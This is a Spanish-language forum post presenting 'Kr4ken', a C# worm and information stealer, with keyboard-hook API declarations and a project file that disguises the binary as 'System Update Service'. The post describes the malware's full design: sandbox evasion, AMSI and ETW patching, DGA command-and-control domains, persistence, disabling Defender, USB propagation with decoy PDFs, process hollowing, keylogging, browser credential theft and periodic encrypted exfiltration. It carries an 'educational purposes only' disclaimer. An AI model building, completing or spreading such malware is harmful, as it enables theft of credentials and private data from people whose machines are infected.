[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string? lpModuleName); [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); }
|
|
|
|
|
8
|
Seguridad Informática / Análisis y Diseño de Malware / Kr4ken - El Kraken ha sido liberado!
|
en: 19 Abril 2026, 01:41 am
|
Muy buenas a todos! Os presento mi proyecto actual en C#: Kr4ken. Se trata de un malware tipo worm/stealer, diseñado para persistir en el sistema, evadir mecanismos de defensa, robar información y exfiltrarla a servidores de mando y control (C2). Flujo principal (Main)El programa sigue esta secuencia: Detecta sandbox o entornos de análisis. Genera un identificador único de la máquina. Deriva una clave de cifrado ligada al equipo. Intenta desactivar AMSI y ETW. Genera servidores C2 mediante DGA. Establece persistencia. Intenta desactivar antivirus/Defender. Se propaga por USB. Ejecuta técnicas de process hollowing. Inicia robo de datos, exfiltración y watchdog. En resumen: se oculta, se instala, roba y exfiltra datos. Componentes principales1. Anti-análisisDetecta entornos sospechosos mediante: Indicadores de VM (VMware, VirtualBox, etc.) Procesos de análisis (Wireshark, IDA, x64dbg…) Depuradores, baja entropía del sistema, anomalías temporales 2. EvasiónParcheo en memoria de amsi.dll y ntdll.dll Evita inspección (AMSI) y trazabilidad (ETW) 3. C2 y DGAGenera dominios dinámicos basados en fecha, seeds y machine ID Evita dependencia de infraestructura fija 4. CifradoPBKDF2 (SHA-256) + AES-CBC Claves derivadas de contraseña + máquina Datos exfiltrados cifrados y ligados al host 5. Process HollowingInyección en procesos legítimos (svchost, explorer…) Ejecución encubierta para evadir detección 6. PersistenciaClaves de registro (Run, RunOnce) Tareas programadas Watchdog de autorrecuperación 7. Propagación USBCopia el binario con nombres señuelo (PDF falsos) Oculta archivos y usa autorun.inf (soy un nostálgico) 8. Robo de informaciónIncluye varios módulos: Keylogger (hook global) Robo de datos de navegadores (Chrome, Edge, Firefox) Monitor del portapapeles Capturas de pantalla periódicas 9. ExfiltraciónCada ~35 minutos: Recopila datos robados Los comprime y cifra Los envía vía HTTP(S) a C2 Usa User-Agents falsos y rotación de servidores Nota: Este proyecto tiene fines exclusivamente educativos y de investigación en el ámbito de la ciberseguridad. El autor no se hace responsable del uso indebido o malintencionado que pueda realizarse del mismo.Kr4ken.csproj<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup> <OutputType>WinExe</OutputType> <!-- No console --> <TargetFramework>net8.0-windows</TargetFramework> <UseWindowsForms>true</UseWindowsForms> <Nullable>enable</Nullable> <ImplicitUsings>enable</ImplicitUsings>
<!-- Further hide the executable --> <ApplicationIcon /> <Company>Kr4ken Security</Company> <Product>System Update Service</Product> </PropertyGroup>
<ItemGroup> <PackageReference Include="System.Management" Version="8.0.0" /> </ItemGroup>
</Project>
|
|
|
|
|
|
| |
|